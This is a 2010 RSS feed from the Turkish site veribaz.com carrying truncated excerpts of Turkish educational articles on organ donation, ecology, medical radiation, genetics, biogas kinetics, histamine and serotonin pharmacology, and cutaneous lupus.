<?xml version="1.0" encoding="windows-1254"?><rss version="2.0"><channel><title>veribaz.com - Biyomühendislik - Türkiye'nin veri bankası</title><copyright>Copyright (C) 2008 veribaz.com Tüm Hakları saklıdır.</copyright><link>http://www.veribaz.com/rss.html</link><description>veribaz.com: Türkiye'nin veri bankası - Biyomühendislik</description> <language>tr</language><lastBuildDate>9/7/2010</lastBuildDate><ttl>5</ttl><image><url>http://www.veribaz.com/img/veribaz.gif</url><title>veribaz.com Logo</title><link>http://www.veribaz.com</link><width>353</width><height>69</height></image><item><title>DOKU VE ORGAN BAĞIŞI</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?doku-ve-organ-bagisi-354867.html</link><description>DOKU VE ORGAN BAĞIŞI&lt;br/&gt;&lt;br/&gt;    Vücutta görev yapamayacak kadar hasta ve hatta bedene zararlı hale gelen bir organın bir yenisi ve sağlamı ile değiştirilmesi düşüncesi çok eski zamanlardan beri insanların ilgisini çekmiştir. Organ nakli, en basit tanımıyla, vücutta görevini yapamayan bir organın yerine canlı bir vericiden veya ölüden alınan sağlam ve aynı görevi üslenecek bir organın nakledilmesi işlemidir. Organ nakli, günümüzde bir çok kronik organ hastalıklarında uygulanan rutin, geçerli ve ileri bir tedavi yöntemi olarak kabul edilmektedir. Organ nakillerinde verici kaynağı canlı ve kadavra olarak ikiye ayrılmaktadır. Canlı kişilerden organ alınması, organ veren kişinin yaşamını riske sokmayacak çift organların birini almak ile mümkündür (böbrek, parça olarak karaciğer ve pankreas gibi.) Kadavradan organ alınması için ise vericinin beyin ölümü olmuş ve organlarının kullanılabilir olması için gerekli yasal izinin alınmış olması gerekir. Kadavradan organ alımındaki sorun birçok dünya ülkesinde tartışılan, çözüm yolları araştırılan bir sorundur. Ancak, ülkemizde bu sorun daha da önem taşımaktadır ve transplantasyonun önündeki en önemli engeldir. Avrupa Ülkelerinde organ vericilerinin %80&quot;i kadavra, %20&quot;si canlı kaynaklı iken Türkiyede  tam tersine organ vericilerinin %75&quot;i canlı, %25&quot;si kadavra kaynaklıdır.Son yıllardaki yapılan organizasyonlar ile ülkemizde kadavra verici bulma oranı azda olsa artmıştır. Akdeniz Üniversitesi Organ Nakli Merkezinin organizasyonu ile ise bu oran  Avrupa ülkelerinin oranlarına yaklaşmıştır. Akdeniz Üniversitesinde 2001 yılında yapılan böbrek nakillerinin %51i kavra %49u canlı vericilidir. Kadavra kaynaklı vericilerin kullanılabilmesi için en önemli çözüm yolu organ bağışının yaygınlaştırılmasıdır. ORGAN BAĞIŞI, bir kişinin hayatta iken serbest iradesi ile tıbben yaşamı sona erdikten sonra doku ve organlarının başka hastaların tedavisi için kullanılmasına izin vermesi ve bunu belgelendirmesidir. &lt;br/&gt;    Organ bekleyen hastaların sayısının her geçen gün arttığı ülkemizde toplumun organ nakli konusunda bilinçlenmesini sağlamak, bu konuda çalışmalar yapmak zorunlu hale gelmiştir. Ülkemizde Türk Nefroloji Derneğinin 1999 yılı sonu rakamlarına göre sadece böbrek bekleyen hastaların sayısı 23 000 dir. Bugüne kadar çok sayıda hasta organ vericisi bulunamaması nedeniyle kaybedilmiştir. &lt;br/&gt;    Kadavradan organ alınabilmesi için tıbbi ölüm (beyin ölümü) olarak adlandırılan ölüm halinin gerçekleşmiş olması gerekir. 29/05/1979 Tarih ve 2238 Sayılı, Organ ve Doku Alınması, Saklanması, Aşılanması ve Nakli Hakkındaki Kanun&quot;a göre, tıbbi ölüm (beyin ölümü) hali; bilimin ülkedeki ulaştığı düzeydeki tüm imkanları, kuralları uygulamak suretiyle bir kardiyolog, bir nörolog, bir nöroşirürjiyen ve bir de anestezi ve reanimasyon uzmanından oluşan 4 kişilik hekimler kurulunca oy birliği ile saptanır (Madde, 11). Hasta, bu dört kişilik uzmanlar heyeti tarafından değerlendirilerek klinik ve laboratuvar tüm incelemeleri tamamlandıktan sonra beyin ölümü kararı alınır. Bu kararı veren heyet, alıcının sürekli hekimi ve organ naklini yapacak ekipten tamamen farklı kişilerden oluşmaktadır (Madde, 12). Böyle bir hastanın beyin sapı ölmüştür. Kendi solunumunu yapması mümkün değildir. Ancak makinaya bağlı olarak solunumu sürer ve artık geriye dönüşü yoktur. Bugüne kadar iyileşmiş bir beyin ölümü vakasına rastlanılmamıştır. &lt;br/&gt;    Organ alımı ameliyatı, ameliyathane koşullarında, cerrahi ekipler tarafından titizlikle yapılmakta, gizli dikiş ile cilt kapatılarak vericinin vücuduna saygı ile davranılmaktadır. Cenaze işlemlerinin çabuklaştırılması için gerekli tüm çabalar gösterilmektedir. Organ bağışının dini yönden herhangi bir sakıncası bulunmamaktadır.Diyanet İşleri Başkanlığı Din İşleri Yüksek Kurulu, 6/3/1980 tarih ve 396 sayılı kararı ile organ naklinin caiz olduğunu bildirmiştir. Bu kararla; organ bağışı insanın insana yapabileceği en büyük yardım olarak nitelendirilmekte ve &quot;organınızı vereceğiniz kişi yaptığı iyilik ve fenalıklardan ken</description></item><item><title>EKOLOJI</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?ekoloji-347651.html</link><description>EKOLOJI &quot;DÜNYA ORTAMI ve CANLILAR&quot;&lt;br/&gt;&lt;br/&gt;Günümüzde insan çevre ve ekoloji sözcüklerini bir bütün olarak kullanmaktadir. Kitalardan okyanuslara,göllerden akarsulara, yer alti sularindan atmosfere, mikroorganizmalardan insana ve bitkiler alemine kadar bütün canli ve cansiz varliklar arasinda düzenli bir iliski vardir. Yani organizmalar yasamlarini sürdürebilmeleri için diger organizmalarla ve çevreleriyle iliski içerisindedir. Organizmalarin çevreleriyle ve birbirleriyle olan iliskilerini inceleyen bilim dalina &quot;ekoloji&quot; denir. son 30-35 yil içinde dünya nüfusunun hizla artmasi, sanayi ve teknolojinin ilerlemesi, dogal kaynaklarin tükenmeye baslamasi, çevre sorunlarinin gündeme gelmesine yol açmistir.&lt;br/&gt;&lt;br/&gt;1)Canlilar ve Çevre &lt;br/&gt;&lt;br/&gt;Günümüzde çevre sorunlari gitgide artmaktadir. Sanayilesme ve ekonomik büyümenin amaci gelismektir. Gelismenin saglikli olabilmesi için canlilarin ve diger dogal kaynaklarin korunmasi gerekmektedir. Insanlarin ve diger canlilarin yasamlari süresince varliklarini sürdürdükleri dis ortama çevre denir. Dogada canlilarin birbirleriyle ve cansiz çevresiyle olan i-liskileri saglikli ise dogal denge saglanmis demektir. Insan, içinde bulundugu çevreyi tanimak zorundadir.&lt;br/&gt;Insan nüfusunun artmasi; sagliksiz kentlesmeye ve zararli atik maddelerin birikmesine, yesil alanlarin azalmasina yol açmaktadir.&lt;br/&gt;Dolayisiyla insan ekolojik dengeyi bozarak çevre sorunlarina yol açmaktadir. Dogal dengenin bozulmasi da canlilarin yasamini tehlikeye sokar.&lt;br/&gt;&lt;br/&gt;2)Çevrenin Cansiz ve Canli Etmenleri&lt;br/&gt;&lt;br/&gt;Canlinin disinda bulunan ve canliyi etkileyen hersey çevrenin ögesidir. Çevre kendi arasinda cansiz (abiyotik) etmenler ve canli (biyotik) etmenler olmak üzere 2&quot;ye ayrilir.&lt;br/&gt;&lt;br/&gt;Cansiz Etmenler&lt;br/&gt;Cansiz ortamlardaki isik, sicaklik, iklim, toprak ve mineraller, su gibi etmenler canlilarin yasamini önemli ölçüde etkilemektedir. Canlilar da dogal dengeyi bozacak sekilde cansiz çevrelerini etkiler. Canlilarin yasamini etkileyen fiziksel etmenler asagida maddeler halinde a-çiklanmaktadir:&lt;br/&gt;&amp;#9679; Isik: Yeryüzündeki bütün enerjilerin kaynagi günestir. Günes enerjisinin çok az bir kismi, dünyaya gelerek bitkiler tarafindan fotosentez olayinda kullanilmaktadir. Bitkiler topraktan su ve mineral maddeleri, atmosferden karbondioksiti alarak günes enerjisinin etkisi ile bu maddeleri birlestirirler; günes enerjisi kimyasal enerjiye dönüstürülerek glikozun yapisina katilir. Bu sirada yan ürün olarak atmosfere oksijen verilir. Olusan besini kullanan canlilar, enerjiyi de almis olurlar.&lt;br/&gt;- Sicaklik: Dünya küre biçiminde oldugu için günes isigi her yere esit oranda dagilmaz. Bu nedenle sicaklik da her yerde esit degildir. Organizmalarin dagilis alanlarinin sinirlari, genellikle sicakligin kontrolündedir. Düsük ve yüksek sicaklik, türlerin yayilisinda önemli rol oynar. Yeryüzünün farkli bölgelerinin farkli miktarda isinmasi, hava akimlarina ve okyanuslarda su akimlarina neden olur. Bu akimlar ile atmosferin isi dagilimi bir miktar dengelenir.&lt;br/&gt;- Iklim: Dünyanin küresel sekli, atmosferin yapisi, isinlarin gelis açisi, havanin saydamlik derecesi birim alana düsen isi miktari üzerinde etkilidir. Enerjinin büyük bir bölümü günes isinlarinin dik geldigi ekvatora yakin bölgelere giderken, kutuplara ve diger bölgelere ise daha az enerji ulasir. Bu farkli enerji dagilimindan dolayi dogada isi dengesizligi olusur.&lt;br/&gt;Uzun zaman araligi içinde belirli bir bölgede egemen olan atmosfer kosullarina iklim denir.&lt;br/&gt;Bir bölgenin iklimini belirleyen en önemli etkenler, ekvatora uzakligi, denize uzakligi ve deniz seviyesinden yüksekligidir.&lt;br/&gt;Cografi konum, daglarin özellikleri, bitki örtüsü ve su iklimi belirler. Yesil alanlarin azalmasi, volkan püskürmeleri ve diger faaliyetlerle atmosferden artan toz tabakasi, isinin azalmasi, dünyadaki hava olaylarini dolayisiyla iklimi etkiler.&lt;br/&gt;- Toprak ve Mineraller: Rüzgar, sicaklik ve suyun asindirici etkileri dünyanin yüzeyini kaplayan kayalarin zamanla parçalanmasini, topragi olusturan mineral taneciklerinin ortaya çikmasina neden olur. Kayalarin üzerind</description></item><item><title>TIBBİ ALANDAKİ RADYASYON UYGULAMALARI</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?tibbi-alandaki-radyasyon-uygulamalari-397292.html</link><description>Tıbbi alandaki radyasyon uygulamaları, &lt;br/&gt;radyasyonla görüntü elde edebilme &lt;br/&gt;ve &lt;br/&gt;radyasyonun hücre veya tümörleri yok edebilme &lt;br/&gt;yeteneğine sahip olması temeline dayanır. &lt;br/&gt;Radyoaktif maddenin vücuttaki dağılımı veya akışı &lt;br/&gt;Gama kamera adı verilenÂ  cihazlarla gözlenir. &lt;br/&gt;Anjiografi nedir ? &lt;br/&gt;Anjiografi koroner arterlerin veya vücudun diğer bölgelerindeki damarların X ışınları ile görüntülenmesidir. Koroner arterler kalbe kan götüren damarlardır ve tıkanıklıklarını görüntülemek için koroner anjiografiye ihtiyaç vardır. İncelemede lokal anestezi ile kasık damarına bir kanül yerleştirilir ve bu kanülden yerleştirilen kateterden verilen kontrast madde ile koroner arterler görüntülenir. &lt;br/&gt;Anjiografi niye yapılır ? &lt;br/&gt;Anjiografi kalp damarlarında darlık, genişleme veya tıknıklık olup olmadığını görmek için yapılır. Koroner anjiografi ile kalp damarları incelendiği gibi vücudu diğer damarları da anjiografi yöntemi ile incelenebilir.</description></item><item><title>GENLER VE KROMOZOMLAR</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?genler-ve-kromozomlar-361004.html</link><description>GENLER VE KROMOZOMLAR &lt;br/&gt;&lt;br/&gt;Mendel&quot;den sonra mitoz ve mayozun da açıklanmasıyla, ana - baba ile yavrular arasındaki kalıtsal bağın, sperm ve yumurta hücreleri aracılığıyla sağlandığı, genlerin de bu hücrelerle dölden döle taşındığı kanıtlandı.&lt;br/&gt;1. Eşeye Bağlı Kalıtım&lt;br/&gt;Tam renk körlüğü &amp;#61614; X ve Y üzerindeki homolog genlerle&lt;br/&gt;Balık pulluluk, kulak memesi yapışıklığı &amp;#61614; Y&quot;nin X&quot;le homolog olmayan bölgesindeki genlerle&lt;br/&gt;Hemofili, kırmızı ve yeşil renk körlüğü &amp;#61614; X&quot;in Y ile homolog olmayan bölgesindeki genlerle&lt;br/&gt;İnsanda eşeye bağlı kalıtımın en tipik örneği hemofili ve kırmızı - yeşil renk körlüğüdür.&lt;br/&gt;             &lt;br/&gt;                                     &lt;br/&gt;Hemofili   Renk körlüğü&lt;br/&gt; XHXH    &amp;#61614;Sağlıklı dişi  &amp;#61600;&amp;#61600;&amp;#61600;&amp;#61612; &amp;#61600;XRXR&lt;br/&gt;XHXh     &amp;#61614;Taşıyıcı dişi  &amp;#61612;XRXr&lt;br/&gt; XhXh     &amp;#61614;Hasta dişi&amp;#61612;XrXr&lt;br/&gt;XHY       &amp;#61614;Sağlıklı erkek&amp;#61612;XRY&lt;br/&gt;XhY     &amp;#61614;Hasta erkek &amp;#61612;XrY&lt;br/&gt;          &lt;br/&gt;&lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;br/&gt; Her iki özellik de X kromozomuna bağlı olarak kalıtlandığından erkek birey taşıyıcı olamaz.&lt;br/&gt;Anne taşıyıcı ise erkek çocuğunun hasta olma olasılığı % 50&quot;dir.&lt;br/&gt;X e bağlı kalıtım = Daltonizm, hemofili&lt;br/&gt;Y ye bağlı kalıtım = Kulak memesinin yapışıklığı, balık pulluluğu&lt;br/&gt;X ve Y&quot;ye bağlı kalıtım = Tam renk körlüğü&lt;br/&gt;Sirke sinekleri kırmızı gözlüdür. Ancak beyaz gözlüleri vardır. Beyaz gözlü olanların tümü erkektir. &lt;br/&gt;Yani beyaz gözlülük bir mutasyon değildir.&lt;br/&gt;Genotip Gamet&lt;br/&gt;* Göz rengini oluşturan gen X koromozomu üzerindedir. Bu genin Y üzerinde aleli yoktur.&lt;br/&gt;Böyle bir genin çekinik olduğu halde erkeğin fenotipinde görülür: Çünkü Y de genin fenotipine yansımasını engelleyen baskın aleli yoktur.&lt;br/&gt;Dişide ise X lerden biri üzerinde çekinik gen bulunsa bile fenotipte görülmez. Çünkü X üzerindeki baskın gen çekinik genin fenotipe çıkmasına engeller.&lt;br/&gt;&lt;br/&gt;          Erkek                                   Dişi&lt;br/&gt; Genotip   Fenotip            Genotip   Fenotip&lt;br/&gt; XBY        Kırmızı gözlü       XBXB      Kırmızı gözlü&lt;br/&gt; XbY        Beyaz gözlü       XBXb      Kırmızı gözlü&lt;br/&gt;                                                 (Taşıyıcı)&lt;br/&gt;                                     XbXb      Beyaz gözlü&lt;br/&gt;&lt;br/&gt;Eşeye bağlı kalıtımın bulunması genlerin kromozom üzerinde bulunduğunun kanıtıdır.&lt;br/&gt;&lt;br/&gt;Ayrılmama&lt;br/&gt;Bir genotipte gamet oluşurken bazen homolog kromozom çiftlerinden biri ya da birkaçı birbirinden ayrılmaz ikisi birlikte bir gamete giderler.&lt;br/&gt;&lt;br/&gt;Krossingower&lt;br/&gt;Homolog kromozomların sinaps yaptıkları bölgedeki kromatitler birbirine değer. Buna kiazma denir. Kromozomlara kiazma yaptıkları yerdeki kromatitleri yer değiştirmesidir. Kromatitlerle birlikte genler de yer değiştirir.&lt;br/&gt;* Krossingower bağlı genler arasında olur.&lt;br/&gt;* Krossingower heterozigot genotipler için önemlidir. Homozigot genotiplerde rekombinasyona neden olmaz.&lt;br/&gt;Kromozom haritaları&lt;br/&gt;Bir kromozom üzerinde bulunan genlerin (bağlı genler) kromozom üzerindeki dizilişi sırasını ve aralarındaki uzaklığı oransal olarak gösterir.&lt;br/&gt;* Kromozom haritaları bağlı genler arasındaki krossingower yüzdelerinden yararlanılarak yapılır.&lt;br/&gt;* Uzak genler arasında krossingower daha çok yakın genler arasında daha az olur.&lt;br/&gt;ÖRNEK&lt;br/&gt;&lt;br/&gt;Diploit bir canlı türünde, kromozom sayısı 2n-1 olan bir bireyin oluşmasına aşağıdakilerden hangisi neden olur?&lt;br/&gt;A) Krossingower&lt;br/&gt;B) Kromozomlarda ayrılmama&lt;br/&gt;C) Partenogenez çoğalma&lt;br/&gt;D) Çok alelli kalıtım&lt;br/&gt;E) Eşeye bağlı kalıtım&lt;br/&gt;ÇÖZÜM&lt;br/&gt;Diploit bir canlı türünde, kromozom sayısı 2n-1 olan bir bireyin oluşmasına kromozomlarda ayrılmama neden olur.&lt;br/&gt;Cevap B&quot;dir.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Bitkilerde ve hayvanlarda her tür kendine özgü sabit sayıda kromozom içerir. Kromozomların sayısı mitoz bölünmedeki düzenli ve kesin olaylarla sabit tutulur. Birçok hayvan ve bitkide kromozom sayısı eşittir. Fakat kromozomlardaki kalıtım faktörleri farklıdır. &lt;br/&gt;KROMOZOMLARIN YAPISI&lt;br/&gt;ilk defa 1840 yılında botanikçi HOFMEİSTER tarafından Tradescamia bitkisinin polen ana hücrelerinde görülmüş ve 1888 yılında VVALDEYER tarafından da K r o m o z o m ismi verilmiştir. &lt;br/&gt;Hiçbir zaman yeniden yapılmazlar ya eskiden varolan kro</description></item><item><title>BİOGAZ ÜRETİMİNDE METHANOJEN (METHAN BAKTERİLERİNİN) YOĞUNLUĞUNUN ETKİSİ</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?biogaz-uretiminde-methanojen-(methan-bakterilerinin)-yogunlugunun-etkisi-362405.html</link><description>Biyogaz Üretiminde Methanojen  (methan bakterilerinin) Yoğunluğunun  Etkisi&lt;br/&gt;&lt;br/&gt;Sürekli beslemeli tam karışımlı tank reaktörü (CSTR) kinetik çalışmasından besi (subsrat) tüketim hızı ( dS/ dt)C,&lt;br/&gt;&lt;br/&gt;( dS/ dt)C = - &amp;#61549; X / YX/S     (3, 7)&lt;br/&gt;&lt;br/&gt;bu denklemde &amp;#61549;, methanojenlerin spesifik büyüme hızı (günlük), X methanojenlerin yoğunluğu, (litrede gram olarak kuru madde), ve YX/S  methanojenlerin hücresel verimi (negatif). &lt;br/&gt; Şekil (3,7) de görüldüğü gibi besi tüketim hızını artırmak için, &amp;#61549; sabitken, methanojenlerin yoğunluğu daha yüksek seviyede tutulmalıdır. &amp;#61549; monod denklemi (şekil 3,8) ile gösterildiği zaman amonyum inhibisyonundan etkilenir ve spesifik büyüme hızını kaybeder.&lt;br/&gt;&amp;#61549; = &amp;#61549;max/[ 1+ KS (NH4+ / KN ) VFA      (3,8)&lt;br/&gt;Bu denklemde &amp;#61549;max , max spesifik büyüme hızı (1/gün veya gün-1) , KS subsrat doyum sabiti (mg/litre ), KN serbest iyonize amonyumun inhibisyon katsayısı (mg/litre), NH4 serbest amonyumun iyonize eşit konsantrasyonu (mg/litre), VFA methanojenlerin subsratının konsantrasyonu ifade eder (methanojenlerin yediği besi maddesi).&lt;br/&gt;&lt;br/&gt;&amp;#61549;max ve YX/S methanojen türlerine bağlı olduğu için, fermentörün çalışmasında bu değerler sabittir. Fermentördeki çevreyi kontrol edebildiğimiz zaman, (mis: pH, hammadde kompozisyonu ve fermente edilmiş sıvı gibi ) VFA &amp;#61619; KS ve KN &amp;#61619; NH4   &amp;#61549; =&amp;#61549;max değerini elde ederiz.&lt;br/&gt;&lt;br/&gt;Yüksek performanslı methan reaktörünü sağlamak için, fermentördeki methanojenlerin hücresel yoğunluğuna odaklanmalıyız. Mühendislik açısından fermentördeki methanojen yoğunluğunu yüksek tutmak için yegane metot budur. (3,7 denkleminde görebildiğimiz gibi). Zhank ve Maekawa [24] , H2 ve CO2 gaz karışımını besi olarak kullanarak bu hipotezin lithotrophik methanojen fermentasyonunda mümkün olduğunu göstermiştir. Biyoreaktör mühendisliğinde yüksek yoğunluklu methanojen hücresini sağlamak için  farklı yollarda vardır. Bunlar, UASB (mikrobik granüller) ve yüksek yoğunluklu hücreleri taşıyıcı olarak kullanan sabit ve akışkan yataklı reaktörlerdir. &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Methan Fermentasyonunun Kinetik Analizi&lt;br/&gt;&lt;br/&gt;&lt;br/&gt; Büyüme Formülünün Modellenmesi&lt;br/&gt;&lt;br/&gt;Kinetik analiz için ideal bir kemostat (reaktör) olarak mükemmel (tam)  karışımlı tank reaktörünü inceledik. Hill (26) ve pek çok araştırmacı , kinetik analizlerin kemostada (reaktöre) dayandığını göstermiştir. Kitamura ve Maekawa [27], yüksek yoğunluklu methanojen sahip akışkan yataklı ve sabit yataklı methan fermentörlri için bir kinetik analiz metodu açıklamışlardır. Bu fermentörler (3,27) resminde görüldüğü gibi methanojen yoğunluklarını reaktör ve reaktör çıkışı arasındaki fark olarak gösterirler. Methanojen hücrelerinin kütlesel dengesine dayanan temel denklem:&lt;br/&gt;V (dX / dt ) =F0X0 + F1X1 &amp;#8211; (F0 +F1 ) X2 + (dX / dt )G -KDXV,       (3,9)&lt;br/&gt;&lt;br/&gt;bu  denklemde V, reaktörün çalışma hacmi (litre), X methanojen hücrelerinin yoğunluğu (mg/litre), t zaman (gün), F debi (litre/gün), K0 çürüme katsayısı (1/gün veya gün-1)&lt;br/&gt;&lt;br/&gt;(3,9) denklemini F ile bölerek ve X0= 0 ve X1 =0, koyarak biz aşağıdaki denklemi elde ederiz. &lt;br/&gt;V (dX / dt ) = -F0X2 + V (dX / dt )G  - KDXV,  (3,10)&lt;br/&gt;&lt;br/&gt;Kararlı durumda (dx/dt=0 olan reaktörde),&lt;br/&gt;&lt;br/&gt;-F0X2 + V (dX / dt )G  - KDXV =0        (3,11)&lt;br/&gt;&lt;br/&gt;diğer yandan &lt;br/&gt;X = [X&quot;V&quot; +X2 (V-V&quot; ) ] /V,  (3,12)&lt;br/&gt;&lt;br/&gt;X&quot; ve V&quot; sırasıyla akışkan yatak ve sabit yataklı reaktörde taşıyıcıdaki hücre yoğunluğunu ve taşıyıcının hacmini ifade etmektedir.&lt;br/&gt; &lt;br/&gt;(3,12) denklemi aşağıdaki şekilde ifade edilebilir.</description></item><item><title>HİSTAMİN SERATONİN</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?histamin-seratonin-370869.html</link><description>HİSTAMİN&lt;br/&gt;Ali Murat İRAT, PhD&lt;br/&gt;irat@pharmacy.ankara.edu.tr&lt;br/&gt;Otakoidler &lt;br/&gt;&lt;br/&gt;HistaminSerotoninKininlerAnjiotensinlerEikozanoidlerEndotelinlerNitrik oksid&lt;br/&gt;&lt;br/&gt;Histamin 1907 yılında sentez edilmiştir. İnsanda özellikle allerjik ve inflamatuar reaksiyonlarda önemli bir mediatördür. Ayrıca anaflaktik şok ve doku yaralanmalarında da önemli etkileri bulunmaktadır.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Çoğu dokuda histamin Mast hücreleri içerisinde bulunmakta ve bu şekilde taşınmaktadır. Histaminin bu doku ve hücrelerdeki bağlı formu inaktiftir. Çoğu stimulus bu bağlı formun açığa çıkmasına neden olmaktadır. Mast hücreleri özellikle ağız, burun, ayak, kan damarları ve yaralı dokularda yüksek oranlarda bulunmaktadır.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;İnsan vücudundaki histaminin yaklaşık yarısı histamin N-metil transferaz enzimi ve sonrasında MAO enzimi tarafından,1/3 oranındaki kısmı ise diaminoksidaz (histaminaz) tarafından en önemli metaboliti imidazol asetik aside dönüşerek idrarla dışarı atılır. &lt;br/&gt;&lt;br/&gt;Salınımı&lt;br/&gt;Histamin salınımı genel olarak bir stimulusa bağlı olarak gerçekleşir. Ancak histamin salgılanmasına neden olan herhangi bir stimulus beraberinde başka maddelerin salgılanmasına da neden olmaktadır.&lt;br/&gt;Salımın Kontrolü ve Uyarılması&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Reseptörler ve Dağılımları&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Histamin Reseptörlerinden Bağımsız Etkileri&lt;br/&gt;Sedasyon: Klasik antihistaminik ilaçların spesifik etkisidir. Bazı durumlarda uyku probleminin aşılabilmesi amacıyla kullanılabilmektedirler. Nadir olarak bazı kişilerde ve çocuklarda sedasyon yerine eksitasyon yaptığı da bildirilmiştir. Çok yüksek dozlarda eksitasyon ve koma görülebilmektedir. İkinci kuşak H1 reseptör blokörleri çok az ya da hemen hemen hiç sedatif etkinlik göstermezler. &lt;br/&gt;Antiemezis (Doksilamin)&lt;br/&gt;Antiparkinsonizm (Antikolinerjik etkiden dolayı)&lt;br/&gt;Serotonin Blokörü Etkinligi (Özellikle Siproheptadin)&lt;br/&gt;Lokal Anestezik Etki (Difenhidramin ve Prometazin)&lt;br/&gt;&lt;br/&gt;Tedavide Kullanılışları&lt;br/&gt;Allerjik Reaksiyonlar: H1 antagonistleri özellikle histaminin primer mediatör olduğu allerjik rinit ve ürtikerde ilk seçilecek ilaç grubudur. Yalnız bronşiyal astım vakalarında etkisi sınırlıdır. İkinci kuşak antihistaminikler tercih edilmektedir. &lt;br/&gt;Hareket Hastalıgı ve Vestibüler Rahatsızlık: Hareket hastalığında H1 antagonistleri skopolaminle birlikte ilk tercih edilecek ilaç grubudur (Özellikle Difenhidramin ve Prometazin). &lt;br/&gt;Hamilelikte Görülen Bulantı ve Kusma&lt;br/&gt;&lt;br/&gt;İlaç Etkileşmeleri&lt;br/&gt;İkinci kuşak H1 blokörleri özellikle ketokonazol, itrakonazol ya da makrolid grubu antibiyotiklerle (ör. Eritromisin) kullanıldığında letal ventriküler aritmiler görülebilmektedir.&lt;br/&gt;Greyfrut suyu da benzer şekilde bir etkinlik yapmaktadır (CYP3A4) &lt;br/&gt;&lt;br/&gt;Serotonin&lt;br/&gt;Serotonin triptofandan sentez edilen ve enterokromafin hücrelerde veziküllerde depo edilerek tutulan bir maddedir. Üretildikten sonra MAO tarafından yıkılmaktadır. Hem merkezi sinir sisteminde rol oynamaktadır ve hem de gastrointestinal aktiviteyi düzenleyen lokal bir hormon olarak görev yapmaktadır. Serotonin çok az bir miktarda da olsa trombositlerde sentez edilmektedir. &lt;br/&gt;Reseptörler&lt;br/&gt;5-HT1 reseptörleri: Beyinde bulunmaktadır ve K+ konduktansını artırarak sinaptik inhibisyona neden olmaktadır. Serotonin bu reseptörler aracılığıyla hem eksitatör hem de inhibitör etkinlik gösterebilmektedir.&lt;br/&gt;Klinik Kullanım&lt;br/&gt;Serotoninin klinik bir kullanımı yoktur.&lt;br/&gt;Serotonin Agonistleri&lt;br/&gt;En önemli agonistlerden birisi 5-HT1D agonisti olan Sumatriptan&quot;dır. Naratripran ve Nizatriptan benzer etkili moleküllerdir. Özellikle migren ve &quot;cluster&quot; tipi başağrısı ataklarında kullanılmaktadırlar. Bu tip başağrılarında serotoninin rolü olduğundan dolayı bu tip ilaçlar etkilidirler. İlaçlar oral olarak alınmaktadırlar ancak Sumatriptan parenteral olarak da kullanılmaktadır. &lt;br/&gt;Serotonin Re-uptake İnhibitörleri&lt;br/&gt;Serotonin re-uptake inhibitörleri genel olarak antidepresan ilaçların bileşiminde kullanılmaktadırlar. Serotoninin sinir uçlarından geri emilimini engellediklerinden dolayı etkinlik yapmaktadırlar. Örnek olarak Deksfenfluramin verilebilir (yakın zamanlarda piyasadan çekilmiştir). &lt;br/&gt;Serotonin Antagonistleri&lt;br/&gt;Sınıflandırma ve Prototipleri: Antagonistlere örnek olarak verilecek en önemli bileşik Ketanserin&quot;dir. Ketanserin 5-HT2 ve alfa-adrenoseptör blokör etkinlik göstermektedir. Fenoksibenzamin ve Siproheptadin de 5-HT2 reseptör antagonisti özellik göstermektedirler. &lt;br/&gt;Etki Mekanizmaları&lt;br/&gt;Ketanserin ve Siproheptadin kompetitif farmakolojik antagonist özellik göstermektedirler. Fenoksibenzamin ise irreversibl b</description></item><item><title>KUTANÖZ LUPUS ERİTEMATOZUS</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?kutanoz-lupus-eritematozus-444359.html</link><description>KUTANÖZ LUPUS ERİTEMATOZUS&lt;br/&gt;             &lt;br/&gt;TANIM&lt;br/&gt;Başlıca damarları ve bağ dokusunu olmak üzere tüm iç organları tutabilen,&lt;br/&gt;Tüm tiplerinde belirgin deri tutulumu olan bir hastalıktır.&lt;br/&gt;LE SPESİFİK DERİ HASTALIKLARI -I&lt;br/&gt;Akut kutanöz LE&lt;br/&gt; 1. Lokalize akut kutanöz LE&lt;br/&gt; 2. Jeneralize akut kutanöz LE&lt;br/&gt;&lt;br/&gt;Subakut kutanöz LE&lt;br/&gt; 1. Anüler subakut kutanöz LE&lt;br/&gt; 2. Papüloskuamöz subakut kutanöz LE&lt;br/&gt;&lt;br/&gt;LE SPESİFİK DERİ HASTALIKLARI -I&lt;br/&gt;Kronik kutanöz LE&lt;br/&gt; 1. Diskoid LE&lt;br/&gt; 2. Hipertrofik/verrüköz DLE&lt;br/&gt; 3. Lupus profundus/lupus pannikülit&lt;br/&gt; 4. Mukozal DLE&lt;br/&gt; 5. Lupus tumidus&lt;br/&gt; 6. Chilblain LE&lt;br/&gt; 7. Likenoid LE&lt;br/&gt;EPİDEMİYOLOJİ&lt;br/&gt;ACLE&lt;br/&gt;K/E:8/1&lt;br/&gt;Siyah ırkta fazla&lt;br/&gt;SCLE&lt;br/&gt;Kadınlarda daha sık&lt;br/&gt;Beyaz ırkta fazla&lt;br/&gt;DLE&lt;br/&gt;K/E:3/2&lt;br/&gt;20-40 yaşlar arası sık&lt;br/&gt;Siyah ırkta fazla&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;ETYOLOJİ&lt;br/&gt;Genetik faktörler,&lt;br/&gt;    HLA-B7,B8, Cw7, DR2, DR3, DQw1&lt;br/&gt;Güneş ışığı&lt;br/&gt;Travma (yanıklar, yara, sıyrık ...) &lt;br/&gt;Mental stres&lt;br/&gt;İlaçlar (izoniazid, penisilamin, griseofulvin, hidroklorotiazid, prokainamid...)&lt;br/&gt;Viral enfeksiyonlar&lt;br/&gt;Sigara&lt;br/&gt;ETYOPATOGENEZ&lt;br/&gt;   Dermal perivasküler alanda mononükleer &lt;br/&gt;                 hücre toplanması                    &lt;br/&gt;                             &amp;#61615;&lt;br/&gt;            Ig ve kompleman 